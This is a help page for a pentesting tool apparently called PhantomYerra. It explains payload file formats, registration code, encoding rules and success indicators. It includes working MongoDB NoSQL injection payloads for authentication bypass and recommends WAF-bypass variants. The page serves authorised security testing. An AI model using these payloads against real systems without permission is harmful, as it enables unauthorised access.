Custom Payloads Guide - PhantomYerra Help

Payload File Format

PhantomYerra supports two payload file formats: plain text (one payload per line) and JSON (structured with metadata).

Plain Text Format (.txt)

The simplest format. One payload per line. Lines starting with # are comments and are ignored.

# Custom NoSQL Injection Payloads # Target: MongoDB applications # Author: Your Name # Version: 1.0 {"$gt":""} {"$ne":""} {"$regex":".*"} {"$where":"1==1"} {"$or":[{},{"a":"a"}]} ' || '1'=='1 ';return true;var a=' {$gt: ""} [$ne]=1 [$regex]=.* {"username":{"$gt":""},"password":{"$gt":""}}

JSON Format (.json)

Structured format with metadata, categories, and processing instructions.

{ "name": "nosql_injection_mongodb", "display_name": "NoSQL Injection - MongoDB", "description": "Injection payloads targeting MongoDB query operators", "author": "Your Name", "version": "1.0.0", "category": "injection", "subcategory": "nosql", "target_technology": ["mongodb", "mongoose", "express"], "tags": ["nosql", "mongodb", "injection", "authentication-bypass"], "payloads": [ {"value": "{\"$gt\":\"\"}", "description": "Greater-than operator bypass", "context": "json_value"}, {"value": "{\"$ne\":\"\"}", "description": "Not-equal operator bypass", "context": "json_value"}, {"value": "{\"$regex\":\".*\"}", "description": "Regex match-all", "context": "json_value"}, {"value": "{\"$where\":\"1==1\"}", "description": "Server-side JS injection", "context": "json_value"}, {"value": "' || '1'=='1", "description": "String-based tautology", "context": "string_value"}, {"value": "[$ne]=1", "description": "Array operator injection", "context": "query_param"}, {"value": "[$regex]=.*", "description": "Regex via query param", "context": "query_param"} ], "processing": { "url_encode": false, "base64_encode": false, "prefix": "", "suffix": "" }, "expected_indicators": { "success": ["MongoError", "Mongo", "\\$err", "errmsg", "ok.*0"], "error": ["SyntaxError", "ValidationError"] } }

Where to Place Payload Files

Option A: Extension Directory

Place payload files inside your extension's payloads/ directory:

extensions/ my-custom-payloads/ __init__.py payloads/ nosql_mongodb.json graphql_introspection.txt jwt_manipulation.json ssti_jinja2.txt

Option B: Global Payloads Directory

Place payload files in PhantomYerra's global payloads directory for immediate availability without an extension wrapper:

data/ payloads/ custom/ nosql_mongodb.json graphql_introspection.txt

Files in data/payloads/custom/ are automatically loaded on startup and appear in the Intruder's payload list.

Registering Custom Payloads

If using the extension approach, register your payloads in __init__.py:

"""__init__.py — Register custom payload sets.""" from phantomyerra.sdk.payloads import PayloadSet, payload_registry from pathlib import Path PAYLOAD_DIR = Path(__file__).parent / "payloads" def register(): # Register each payload file for payload_file in PAYLOAD_DIR.glob("*.json"): pset = PayloadSet.from_file(payload_file) payload_registry.register(pset) for payload_file in PAYLOAD_DIR.glob("*.txt"): pset = PayloadSet.from_text_file( path=payload_file, category="custom", tags=["custom"], ) payload_registry.register(pset)

PayloadSet Class

Attribute	Type	Description
`name`	`str`	Unique identifier (e.g., `"nosql_mongodb"`)
`display_name`	`str`	Name shown in the UI dropdown
`category`	`str`	Category for grouping: injection, xss, auth, traversal, fuzzing, custom
`payloads`	`list[str]`	The actual payload strings
`count`	`int`	Number of payloads (computed automatically)
`tags`	`list[str]`	Searchable tags for filtering
`target_technology`	`list[str]`	Technologies these payloads target (used by AI for context-aware selection)

Per-Scanner Payload Binding

You can bind specific payload sets to your custom scanner so they are automatically used when that scanner runs:

class MyCustomScanner(BaseToolAdapter): TOOL_NAME = "my_scanner" # ... other attributes ... # Bind specific payload sets to this scanner PAYLOAD_SETS = [ "nosql_mongodb", # Your custom payload set "sqli_generic", # Built-in SQLi payloads "auth_bypass", # Built-in auth bypass payloads ] async def scan(self, target, config): # Access bound payloads for pset_name in self.PAYLOAD_SETS: payloads = payload_registry.get(pset_name) for payload in payloads: # Test each payload against the target response = await self.send_payload(target, payload) if self.is_vulnerable(response): # Create finding with this payload as evidence ...

Payload Processing Rules

Define how payloads should be transformed before injection. Processing rules can be set at the payload set level or overridden per payload.

Rule	Description	Example
`url_encode`	URL-encode the payload before insertion	`' OR 1=1` becomes `%27%20OR%201%3D1`
`base64_encode`	Base64-encode the payload	For payloads injected into Base64-encoded parameters
`double_url_encode`	Apply URL encoding twice	For WAF bypass via double encoding
`html_encode`	HTML entity-encode the payload	For injection into HTML attribute contexts
`prefix`	Prepend a static string to every payload	Add a closing tag before XSS payloads: `">`
`suffix`	Append a static string to every payload	Add a comment terminator: `--`
`case_variation`	Generate uppercase, lowercase, and mixed-case variants	For case-insensitive filter bypass
`null_byte`	Append a null byte (`%00`) after the payload	For null byte injection attacks

Expected Indicators

Define response patterns that indicate a payload was successful. The Intruder and automated scanners use these to flag positive results.

"expected_indicators": { "success": [ "MongoError", # MongoDB error message leaked "\\$err", # MongoDB internal error field "errmsg", # MongoDB error message field "ok.*0" # MongoDB operation failed response ], "error": [ "SyntaxError", # JavaScript syntax error (partial injection) "ValidationError" # Input validation caught the payload ], "timing_threshold_ms": 5000 # For time-based detection (response > 5s = positive) }

Indicator Types

success — Response content patterns that indicate the payload triggered the vulnerability. Matched as regex against the response body.
error — Patterns indicating the payload was partially processed but did not fully exploit. Useful for refining payloads.
timing_threshold_ms — For time-based blind attacks: a response time exceeding this threshold is flagged as positive.
status_codes — Specific HTTP status codes to flag (e.g., [500, 502, 503] for server errors triggered by injection).
length_deviation_pct — Flag responses whose body length deviates by more than this percentage from the baseline.

Best Practices

Organize by technology — Create separate payload files per technology (e.g., sqli_mysql.txt, sqli_postgres.txt) rather than one massive file. This lets the AI orchestrator select the right payloads based on the target's tech stack.
Include metadata — Use the JSON format with target_technology, tags, and description so PhantomYerra can intelligently select payloads.
Add comments — In text files, use # comments to document each payload's purpose. In JSON, use the description field per payload.
Test against known-vulnerable targets — Verify your payloads actually work against DVWA, Juice Shop, or similar intentionally vulnerable applications before deploying.
Include WAF bypass variants — For each payload, consider including encoded and obfuscated variants that bypass common WAF rules.
Set expected indicators — Always define success patterns so the Intruder can automatically flag positive results.
Version your payloads — Increment the version when updating payload sets so users know they have the latest.
No live exploitation data — Never include actual client data, real credentials, or sensitive URLs in payload files.

AI integration: When the AI orchestrator is active, it reads your payload metadata (target_technology, tags, category) and selects the most relevant payloads for the detected technology stack. Well-documented payload sets get used more effectively by the AI engine.